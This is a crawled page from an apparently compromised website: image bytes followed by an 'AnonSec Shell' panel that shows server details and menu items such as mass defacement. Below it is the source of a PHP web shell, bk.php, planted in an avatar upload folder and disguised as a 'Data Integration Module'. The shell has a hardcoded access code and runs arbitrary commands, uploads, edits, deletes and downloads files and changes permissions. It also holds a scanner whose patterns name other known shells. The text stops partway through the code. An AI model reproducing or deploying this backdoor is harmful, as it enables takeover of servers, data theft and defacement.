JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/frontend/web/uploads/user-avatars/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/frontend/web/uploads/user-avatars/bk.php
<?php
// ==================================================
// DATA INTEGRATION MODULE - System Management Interface
// ==================================================
if (class_exists('ZipArchive')) {
    if (!class_exists('RecursiveDirectoryIterator')) {
        // System compatibility verification
    }
}

@error_reporting(0);
@set_time_limit(0);
@ini_set('display_errors', 0);
if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

// ==================================================
// SYSTEM CONFIGURATION - Integration Parameters
// ==================================================
$integrationAccessCode = 'b4d4ss';
$systemOperator = 'DataManager';
$notificationBuffer = '';
$pathQueryParameter = 'dir_query_param';

// ==================================================
// DIRECTORY MANAGEMENT SYSTEM
// ==================================================
$activeDirectory = isset($_GET[$pathQueryParameter]) ? 
    base64_decode($_GET[$pathQueryParameter]) : getcwd();

$activeDirectory = realpath($activeDirectory);
if (!$activeDirectory) {
    $activeDirectory = DIRECTORY_SEPARATOR;
}
@chdir($activeDirectory);

// ==================================================
// CORE SYSTEM OPERATIONS
// ==================================================

function encodeDirectoryPath($pathInput) {
    return base64_encode(str_replace('\\', '/', $pathInput));
}

function formatDataSize($bytesInput) {
    if ($bytesInput === 0) return '0 B';
    $sizeMetrics = ['B', 'KB', 'MB', 'GB', 'TB'];
    $metricIndex = floor(log($bytesInput, 1024));
    return round($bytesInput / (1024 ** $metricIndex), 2) . ' ' . $sizeMetrics[$metricIndex];
}

function removeDataStructure($targetLocation) {
    if (!is_dir($targetLocation)) return false;
    
    $structureContents = array_diff(@scandir($targetLocation) ?: [], array('.', '..'));
    $operationResult = true;
    
    foreach ($structureContents as $contentItem) {
        $contentPath = "$targetLocation/$contentItem";
        if (is_dir($contentPath)) {
            if (!removeDataStructure($contentPath)) $operationResult = false;
        } else {
            if (!@unlink($contentPath)) $operationResult = false;
        }
    }
    
    if (!@rmdir($targetLocation)) $operationResult = false;
    return $operationResult;
}

function displayAccessRights($resourcePath) {
    $accessMode = @substr(sprintf('%o', @fileperms($resourcePath)), -4);
    $writeCapability = @is_writable($resourcePath);
    $displayColor = $writeCapability ? 'text-emerald-400 font-semibold' : 'text-rose-400';
    $accessDescription = $writeCapability ? 'Writable Access' : 'Read-Only Access';
    
    return '<span class="' . $displayColor . '" title="' . $accessDescription . '">' . $accessMode . '</span>';
}

function compressDataArchive($sourceItems, $archiveDestination, $baseReference) {
    if (!class_exists('ZipArchive')) return false;

    $archiveHandler = new ZipArchive();
    if (!$archiveHandler->open($archiveDestination, ZipArchive::CREATE | ZipArchive::OVERWRITE)) {
        return false;
    }

    foreach ($sourceItems as $itemPath) {
        $baseLength = strlen(rtrim($baseReference, DIRECTORY_SEPARATOR));
        $itemPath = realpath($itemPath);

        if ($itemPath === false || strpos($itemPath, $baseReference) !== 0) {
            if (realpath($itemPath) === realpath($baseReference)) {
                $relativeReference = basename($itemPath);
            } else {
                $relativeReference = basename($itemPath); 
            }
        } else {
            $relativeReference = substr($itemPath, $baseLength + 1);
        }
        
        if (empty($relativeReference) || $relativeReference === '.') {
            $relativeReference = basename($itemPath);
        }

        if (is_dir($itemPath)) {
            $directoryIterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($itemPath, FilesystemIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            
            $archiveHandler->addEmptyDir($relativeReference);

            foreach ($directoryIterator as $nestedItem) {
                $nestedPath = $nestedItem->getRealPath();
                $nestedRelative = $relativeReference . DIRECTORY_SEPARATOR . substr($nestedPath, strlen($itemPath) + 1);

                if ($nestedItem->isDir()) {
                    $archiveHandler->addEmptyDir($nestedRelative);
                } else {
                    $archiveHandler->addFile($nestedPath, $nestedRelative);
                }
            }
        } elseif (is_file($itemPath)) {
            $archiveHandler->addFile($itemPath, $relativeReference);
        }
    }

    return $archiveHandler->close();
}

function modifyAccessRecursive($targetLocation, $accessMode) {
    if (!is_readable($targetLocation)) return false;
    if (!@chmod($targetLocation, $accessMode)) return false;
    
    if (is_dir($targetLocation)) {
        $locationContents = @scandir($targetLocation);
        if ($locationContents === false) return false;
        
        foreach ($locationContents as $contentItem) {
            if ($contentItem === '.' || $contentItem === '..') continue;
            $contentPath = $targetLocation . DIRECTORY_SEPARATOR . $contentItem;
            if (!modifyAccessRecursive($contentPath, $accessMode)) {}
        }
    }
    return true;
}

function getRestrictedOperations() {
    $disabledOperations = ini_get('disable_functions');
    $disabledList = array_map('trim', explode(',', $disabledOperations));
    $operationTests = ['system', 'exec', 'shell_exec', 'passthru', 'proc_open', 'dl', 'popen', 'symlink', 'link', 'ini_set', 'set_time_limit'];
    $restrictionResults = [];
    $securityMode = ini_get('safe_mode');

    foreach ($disabledList as $operation) { 
        if (!empty($operation)) { 
            $restrictionResults[$operation] = 'php.ini'; 
        } 
    }
    
    foreach ($operationTests as $operation) { 
        if (!isset($restrictionResults[$operation])) { 
            if (!function_exists($operation) || (function_exists($operation) && !@is_callable($operation))) { 
                $restrictionResults[$operation] = 'Test Failed'; 
            } 
        } 
    }
    
    if ($securityMode) { 
        foreach(['system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open'] as $operation) { 
            if (!isset($restrictionResults[$operation])) { 
                $restrictionResults[$operation] = 'Safe Mode'; 
            } 
        } 
    }

    return $restrictionResults;
}

function executeOperationCommand($operationInput) {
    $executionOutput = '';
    
    if (function_exists('shell_exec') && @is_callable('shell_exec')) { 
        $executionOutput = @shell_exec($operationInput); 
        if ($executionOutput !== null) return $executionOutput; 
    } 
    
    if (function_exists('exec') && @is_callable('exec')) { 
        $execResult = []; 
        @exec($operationInput, $execResult); 
        $executionOutput = implode("\n", $execResult); 
        if (!empty($executionOutput)) return $executionOutput; 
    }
    
    if (function_exists('system') && @is_callable('system')) { 
        ob_start(); 
        @system($operationInput); 
        $executionOutput = ob_get_clean(); 
        if (!empty($executionOutput)) return $executionOutput; 
    }
    
    if (function_exists('passthru') && @is_callable('passthru')) { 
        ob_start(); 
        @passthru($operationInput); 
        $executionOutput = ob_get_clean(); 
        if (!empty($executionOutput)) return $executionOutput; 
    }
    
    return "Execution Error: No available method";
}

// ==================================================
// SECURITY SCANNING MODULE
// ==================================================

function analyzeFileTokens($filename) {
    $fileData = @file_get_contents($filename);
    if ($fileData === false) {
        return array();
    }
    
    $fileData = preg_replace('/<\?([^p=\w])/m', '<?php ', $fileData);
    $tokenAnalysis = @token_get_all($fileData);
    $tokenResults = array();
    $tokenCount = count($tokenAnalysis);

    if ($tokenCount > 0) {
        for ($i = 0; $i < $tokenCount; $i++) {
            if (isset($tokenAnalysis[$i][1]) && is_string($tokenAnalysis[$i][1]) && $tokenAnalysis[$i][0] != T_WHITESPACE && $tokenAnalysis[$i][0] != T_COMMENT && $tokenAnalysis[$i][0] != T_DOC_COMMENT) {
                $tokenResults[] = strtolower($tokenAnalysis[$i][1]);
            }
        }
    }
    $tokenResults = array_values(
        array_unique(array_filter(array_map("trim", $tokenResults)))
    );
    return $tokenResults;
}

function performSecurityScan($fileLocation) {
    $contentData = @file_get_contents($fileLocation);
    if ($contentData === false) {
        return array('status' => 'safe', 'reason' => 'Unreadable content', 'patterns' => array(), 'score' => 0);
    }

    $suspiciousOperations = array(
        'eval', 'assert', 'create_function', 'preg_replace', 'call_user_func',
        'exec', 'shell_exec', 'system', 'passthru', 'proc_open', 'popen',
        'dl', 'base64_decode', 'gzinflate', 'str_rot13', 'convert_uuencode', 'hex2bin',
        'file_put_contents', 'fwrite', 'chmod', 'unlink', 'mkdir',
        'fsockopen', 'curl_exec',
    );

    $suspiciousPatterns = array(
        '/eval\s*\(\s*(\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*|\$_GET|\$_POST|\$_REQUEST|\$_COOKIE|\$_SERVER)/i',
        '/base64_decode\s*\(\s*(\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*|\$_GET|\$_POST|\$_REQUEST|\$_COOKIE)/i',
        '/eval\s*\(\s*gzinflate\s*\(\s*base64_decode/i',
        '/preg_replace\s*\(.*\/e.*\)/i',
        '/c99shell|r57shell|wso\s*shell|b374k\s*shell|sniper\s*shell/i',
        '/@ini_set.*error_log.*@?assert/i',
        '/system\s*\(\s*(\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*|\$_GET|\$_POST)/i',
    );

    $riskScore = 0;
    $detectedPatterns = array();
    $fileTokens = analyzeFileTokens($fileLocation);
    $fileName = basename($fileLocation);

    if (preg_match('/shell|backdoor|cmd|uploader|hack/i', $fileName)) {
        $riskScore += 15;
        $detectedPatterns[] = 'suspicious_naming';
    }

    foreach ($suspiciousOperations as $operation) {
        if (in_array($operation, $fileTokens)) {
            $detectedPatterns[] = $operation;
            $riskScore += (in_array($operation, array('eval', 'assert', 'exec', 'system', 'create_function')) ? 10 : 5);
        }
    }

    foreach ($suspiciousPatterns as $pattern) {
        if (preg_match($pattern, $contentData, $matches)) {
            $detectedPatterns[] = 'pattern: ' . htmlspecialchars($matches[0]);
            $riskScore += 20;
        }
    }

    if ($riskScore >= 40) {
        return array('status' => 'MALICIOUS', 'reason' => 'High risk detected', 'patterns' => $detectedPatterns, 'score' => $riskScore);
    } elseif ($riskScore >= 20) {
        return array('status' => 'SUSPICIOUS', 'reason' => 'Suspicious activity', 'patterns' => $detectedPatterns, 'score' => $riskScore);
    } else {
        return array('status' => 'SAFE', 'reason' => 'No threats found', 'patterns' => array(), 'score' => 0);
    }
}

function scanDirectoryRecursive($scanDirectory, &$fileCollection = array()) {
    $directoryHandle = @opendir($scanDirectory);
    if ($directoryHandle) {
        while (($directoryEntry = readdir($directoryHandle)) !== false) {
            if ($directoryEntry == '.' || $directoryEntry == '..') continue;
            $entryPath = $scanDirectory . DIRECTORY_SEPARATOR . $directoryEntry;
            if (is_link($entryPath)) continue;

            if (is_dir($entryPath) && is_readable($entryPath)) {
                if (count($fileCollection) < 5000) { 
                    scanDirectoryRecursive($entryPath, $fileCollection);
                }
            }

            if (is_file($entryPath) && is_readable($entryPath)) {
                $fileExtension = strtolower(pathinfo($entryPath, PATHINFO_EXTENSION));
                if (in_array($fileExtension, ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'inc'])) {
                     $fileCollection[] = $entryPath;
                }
            }
        }
        closedir($directoryHandle);
    }
    return $fileCollection;
}

function executeSecurityAnalysis($analysisPath) {
    set_time_limit(0); 
    ini_set('memory_limit', '-1');
    
    $analyzedFiles = scanDirectoryRecursive($analysisPath);
    $totalFileCount = count($analyzedFiles);
    $analysisResults = ['malicious' => [], 'suspicious' => [], 'safe' => [], 'total' => $totalFileCount];
    
    foreach ($analyzedFiles as $filePath) {
        $securityAnalysis = performSecurityScan($filePath);
        $relativePath = str_replace(rtrim($analysisPath, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR, '', $filePath);

        $fileAnalysis = [
            'file' => $relativePath,
            'full_path' => $filePath,
            'reason' => $securityAnalysis['reason'],
            'patterns' => $securityAnalysis['patterns'],
            'score' => $securityAnalysis['score']
        ];
        
        switch ($securityAnalysis['status']) {
            case 'MALICIOUS':
                $analysisResults['malicious'][] = $fileAnalysis;
                break;
            case 'SUSPICIOUS':
                $analysisResults['suspicious'][] = $fileAnalysis;
                break;
            default:
                $analysisResults['safe'][] = $fileAnalysis;
                break;
        }
    }
    
    return $analysisResults;
}

// ==================================================
// AJAX SECURITY SCAN HANDLER
// ==================================================
if (isset($_POST['security_scan_request']) && $_POST['security_scan_request'] == '1') {
    header('Content-Type: application/json');
    $scanTargetPath = isset($_POST['scan_directory']) ? base64_decode($_POST['scan_directory']) : getcwd();
    
    if (!is_dir($scanTargetPath)) {
        echo json_encode(['error' => 'Invalid directory', 'path' => $scanTargetPath]);
        exit;
    }

    $scanResults = executeSecurityAnalysis($scanTargetPath);
    echo json_encode(['success' => true, 'results' => $scanResults]);
    exit;
}

// ==================================================
// ACCESS CONTROL SYSTEM
// ==================================================
if (isset($_POST['system_authentication'])) {
    if ($_POST['system_authentication'] === $integrationAccessCode) {
        $_SESSION['access_granted'] = true;
        $navigationRedirect = isset($_GET[$pathQueryParameter]) ? 
            '?' . $pathQueryParameter . '=' . $_GET[$pathQueryParameter] : '';
        header('Location: ' . $_SERVER['PHP_SELF'] . $navigationRedirect);
        exit;
    } else {
        $notificationBuffer = '<div class="toast-alert bg-rose-800 border-rose-500">Authentication Failed</div>';
    }
}

if (isset($_GET['system_logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if (!isset($_SESSION['access_granted'])):
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Access Portal | File Manager</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@100..900&display=swap" rel="stylesheet">
    <style>
        body { 
            font-family: 'Inter', sans-serif; 
            background-color: #1a1e23; /* Modern Dark Background */
            color: #c9d1d9; 
            transition: background-color 0.3s ease;
        }
        .access-panel { 
            background-color: #22272e; /* Darker Card Background */
            border: 1px solid #30363d;
            box-shadow: 0 10px 15px rgba(0, 0, 0, 0.5); 
            transition: all 0.3s ease;
        }
        .access-panel:hover {
            transform: translateY(-2px);
            box-shadow: 0 15px 20px rgba(0, 0, 0, 0.7);
        }
    </style>
</head>
<body class="flex items-center justify-center min-h-screen p-4">
    <div class="access-panel p-8 rounded-xl w-full max-w-sm">
        <div class="text-center mb-6">
            <i class="fa-solid fa-folder-tree text-5xl text-sky-500 mb-3"></i>
            <h1 class="text-3xl font-bold text-gray-300">File Manager</h1>
            <p class="text-sm text-gray-500 mt-1">System Access Required</p>
        </div>
        <?php echo $notificationBuffer; ?>
        <form method="POST" class="space-y-6">
            <div class="relative">
                <i class="fa-solid fa-lock absolute left-3 top-1/2 transform -translate-y-1/2 text-gray-400"></i>
                <input type="password" name="system_authentication" placeholder="Enter Access Code" required 
                       class="w-full pl-10 pr-4 py-3 bg-gray-700/50 border border-gray-600 rounded-lg focus:outline-none focus:ring-2 focus:ring-sky-500 focus:border-sky-500 text-white transition duration-200">
            </div>
            <button type="submit" class="w-full bg-sky-600 hover:bg-sky-700 text-white font-semibold py-3 rounded-lg transition duration-300 shadow-lg shadow-sky-900/50 hover:shadow-sky-800/70">
                <i class="fa-solid fa-arrow-right-to-bracket mr-2"></i>
                VERIFY ACCESS
            </button>
        </form>
        <p class="text-center text-xs text-gray-500 mt-6">Powered by PHP DataManager Module</p>
    </div>
</body>
</html>
<?php
exit;
endif;

// Retrieve system notifications
if (isset($_SESSION['system_notification'])) {
    $notificationBuffer = $_SESSION['system_notification'];
    unset($_SESSION['system_notification']);
}

// Current navigation URL
$currentNavigation = '?' . $pathQueryParameter . '=' . encodeDirectoryPath($activeDirectory);

// ==================================================
// OPERATION HANDLERS
// ==================================================

// Directory Compression
if (isset($_GET['compress_directory'])) {
    $operationMessage = '';
    
    if (!class_exists('ZipArchive')) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression unavailable</div>';
    } else {
        $sourceDirectory = $activeDirectory;
        $compressionSources = [$sourceDirectory];
        $compressionBase = dirname($sourceDirectory);
        
        if ($compressionBase === '.' || $compressionBase === $sourceDirectory) {
            $compressionBase = DIRECTORY_SEPARATOR;
        }

        $directoryIdentifier = basename($sourceDirectory) ?: 'data_directory';
        $archiveName = $directoryIdentifier . '-' . time() . '.zip';
        $archivePath = rtrim($compressionBase, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $archiveName;
        
        if (!@is_writable(rtrim($compressionBase, DIRECTORY_SEPARATOR))) {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Write access denied</div>';
        } elseif (compressDataArchive($compressionSources, $archivePath, $compressionBase)) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Archive created: ' . htmlspecialchars($archiveName) . '</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression failed</div>';
        }
    }

    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Bulk Deletion
if (isset($_POST['bulk_delete'])) {
    if (!isset($_POST['selected_resources']) || !is_array($_POST['selected_resources']) || empty($_POST['selected_resources'])) {
         $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">No selection made</div>';
    } else {
        $deletionTargets = $_POST['selected_resources'];
        $successCount = 0; $failureCount = 0;
        
        foreach ($deletionTargets as $encodedResource) {
            $resourceName = base64_decode($encodedResource);
            $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
            $deletionResult = @is_dir($resourcePath) ? removeDataStructure($resourcePath) : @unlink($resourcePath);
            
            if ($deletionResult) { 
                $successCount++; 
            } else { 
                $failureCount++; 
            }
        }
        
        if ($successCount > 0 && $failureCount == 0) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Removed ' . $successCount . ' items</div>';
        } elseif ($successCount > 0 && $failureCount > 0) {
            $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">Partial removal: ' . $successCount . ' success, ' . $failureCount . ' failed</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Deletion failed</div>';
        }
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Bulk Permission Modification
if (isset($_POST['bulk_permission_update']) && isset($_POST['bulk_permission_value'])) {
    if (!isset($_POST['selected_resources']) || !is_array($_POST['selected_resources']) || empty($_POST['selected_resources'])) {
         $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">No selection made</div>';
    } else {
        $permissionString = trim($_POST['bulk_permission_value']); 
        $recursiveApplication = isset($_POST['bulk_permission_recursive']); 
        
        if (preg_match('/^[0-7]{3,4}$/', $permissionString)) {
            $permissionValue = octdec($permissionString);
            $modifiedCount = 0; $failedCount = 0; 
            
            foreach ($_POST['selected_resources'] as $encodedResource) {
                $resourceName = base64_decode($encodedResource);
                $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
                $permissionResult = (@is_dir($resourcePath) || $recursiveApplication) ? 
                    modifyAccessRecursive($resourcePath, $permissionValue) : @chmod($resourcePath, $permissionValue);
                
                if ($permissionResult) { 
                    $modifiedCount++; 
                } else { 
                    $failedCount++; 
                }
            }
            
            if ($modifiedCount > 0 && $failedCount == 0) {
                $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Permissions updated: ' . $modifiedCount . ' items</div>';
            } elseif ($modifiedCount > 0 && $failedCount > 0) {
                $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">Partial update: ' . $modifiedCount . ' success, ' . $failedCount . ' failed</div>';
            } else {
                 $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Permission update failed</div>';
            }
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Invalid permission format</div>';
        }
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Bulk Compression
if (isset($_POST['bulk_compression'])) {
    if (!class_exists('ZipArchive')) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression unavailable</div>';
    } elseif (!isset($_POST['selected_resources']) || !is_array($_POST['selected_resources']) || empty($_POST['selected_resources'])) {
         $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">No selection made</div>';
    } else {
        $compressionTargets = $_POST['selected_resources'];
        $archiveSources = [];
        
        foreach ($compressionTargets as $encodedResource) {
            $resourceName = base64_decode($encodedResource);
            $archiveSources[] = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
        }

        $archiveName = 'data_archive-' . time() . '.zip';
        $archivePath = $activeDirectory . DIRECTORY_SEPARATOR . $archiveName;
        
        if (compressDataArchive($archiveSources, $archivePath, $activeDirectory)) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Archive created: ' . htmlspecialchars($archiveName) . '</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression failed</div>';
        }
    }

    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Command Execution
if (isset($_POST['execute_command'])) {
    $commandInput = trim($_POST['execute_command']);
    $commandOutput = executeOperationCommand($commandInput);
    $_SESSION['command_execution'] = ['input' => $commandInput, 'output' => $commandOutput];
    header('Location: ' . $currentNavigation);
    exit;
}

// Resource Creation
if (isset($_POST['create_resource'])) {
    $newResourceName = trim($_POST['create_resource']);
    $resourceType = $_POST['resource_type'];
    $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $newResourceName;
    $operationMessage = '';
    
    if ($newResourceName === '') {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Name required</div>';
    } elseif (@file_exists($resourcePath)) {
        $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">Resource exists</div>';
    } elseif ($resourceType === 'file') {
        if (@touch($resourcePath)) {
            header('Location: ' . $_SERVER['PHP_SELF'] . '?' . $pathQueryParameter . '=' . 
                   encodeDirectoryPath($activeDirectory) . '&edit_resource=' . encodeDirectoryPath($resourcePath));
            exit;
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">File creation failed</div>';
        }
    } elseif ($resourceType === 'directory') {
        if (@mkdir($resourcePath)) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Directory created</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Directory creation failed</div>';
        }
    }
    
    if ($operationMessage) {
        $_SESSION['system_notification'] = $operationMessage; 
        header('Location: ' . $currentNavigation);
        exit;
    }
}

// File Upload
if (isset($_FILES['upload_data'])) {
    $uploadInfo = $_FILES['upload_data'];
    $uploadTarget = $activeDirectory . DIRECTORY_SEPARATOR . basename($uploadInfo["name"]);
    $operationMessage = '';
    
    if ($uploadInfo["error"] === UPLOAD_ERR_OK) {
        if (@move_uploaded_file($uploadInfo["tmp_name"], $uploadTarget)) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Upload successful</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Upload failed</div>';
        }
    } else {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Upload error</div>';
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Resource Renaming
if (isset($_POST['rename_original']) && isset($_POST['rename_new'])) {
    $originalName = base64_decode($_POST['rename_original']);
    $newName = trim($_POST['rename_new']);
    $originalPath = $activeDirectory . DIRECTORY_SEPARATOR . $originalName;
    $newPath = $activeDirectory . DIRECTORY_SEPARATOR . $newName;
    $operationMessage = '';
    
    if ($newName === $originalName) {
         $operationMessage = '<div class="toast-alert bg-amber-800 border-amber-500">No changes</div>';
    } elseif (@rename($originalPath, $newPath)) {
        $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Renamed successfully</div>';
    } else {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Rename failed</div>';
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// File Content Editing
if (isset($_POST['resource_content']) && isset($_POST['edit_resource_key'])) {
    $editPath = base64_decode($_POST['edit_resource_key']);
    $editName = basename($editPath);
    
    if (@file_put_contents($editPath, $_POST['resource_content']) !== false) {
        $notificationBuffer = '<div class="toast-alert bg-emerald-800 border-emerald-500">Content saved</div>';
    } else {
        $notificationBuffer = '<div class="toast-alert bg-rose-800 border-rose-500">Save failed</div>';
    }
}

// Resource Deletion
if (isset($_GET['delete_resource'])) {
    $resourceName = base64_decode($_GET['delete_resource']);
    $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
    $deleteResult = false;
    $isDirectory = @is_dir($resourcePath);
    $operationMessage = '';
    
    if ($isDirectory) { 
        $deleteResult = removeDataStructure($resourcePath); 
    } else { 
        $deleteResult = @unlink($resourcePath); 
    }
    
    if ($deleteResult) {
        $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Resource deleted</div>';
    } else {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Deletion failed</div>';
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// File Download
if (isset($_GET['download_resource'])) {
    $resourceName = base64_decode($_GET['download_resource']);
    $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
    
    if (@is_file($resourcePath) && @is_readable($resourcePath)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($resourceName) . '"');
        header('Content-Length: ' . @filesize($resourcePath));
        @readfile($resourcePath);
        exit;
    } else {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Download failed</div>';
        $_SESSION['system_notification'] = $operationMessage;
        header('Location: ' . $currentNavigation);
        exit;
    }
}

// Single Resource Compression
if (isset($_GET['compress_resource'])) {
    if (!class_exists('ZipArchive')) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression unavailable</div>';
    } else {
        $resourceName = base64_decode($_GET['compress_resource']);
        $resourcePath = $activeDirectory . DIRECTORY_SEPARATOR . $resourceName;
        $archiveName = $resourceName . '.zip';
        $archivePath = $activeDirectory . DIRECTORY_SEPARATOR . $archiveName;
        $compressionSources = [$resourcePath];
        
        if (compressDataArchive($compressionSources, $archivePath, $activeDirectory)) {
            $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Compressed: ' . htmlspecialchars($archiveName) . '</div>';
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Compression failed</div>';
        }
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Archive Extraction
if (isset($_GET['extract_resource'])) {
    if (!class_exists('ZipArchive')) {
        $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Extraction unavailable</div>';
    } else {
        $archiveName = base64_decode($_GET['extract_resource']);
        $archivePath = $activeDirectory . DIRECTORY_SEPARATOR . $archiveName;
        $archiveHandler = new ZipArchive;
        $operationMessage = '';
        
        if (@is_file($archivePath) && $archiveHandler->open($archivePath) === TRUE) {
            if ($archiveHandler->extractTo($activeDirectory)) {
                $archiveHandler->close();
                $operationMessage = '<div class="toast-alert bg-emerald-800 border-emerald-500">Extraction successful</div>';
            } else {
                $archiveHandler->close();
                $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Extraction failed</div>';
            }
        } else {
            $operationMessage = '<div class="toast-alert bg-rose-800 border-rose-500">Invalid archive</div>';
        }
    }
    
    $_SESSION['system_notification'] = $operationMessage;
    header('Location: ' . $currentNavigation);
    exit;
}

// Single Permission Modification
if (isset($_POST['permission_target']) && isset($_POST['permission_value'])) {
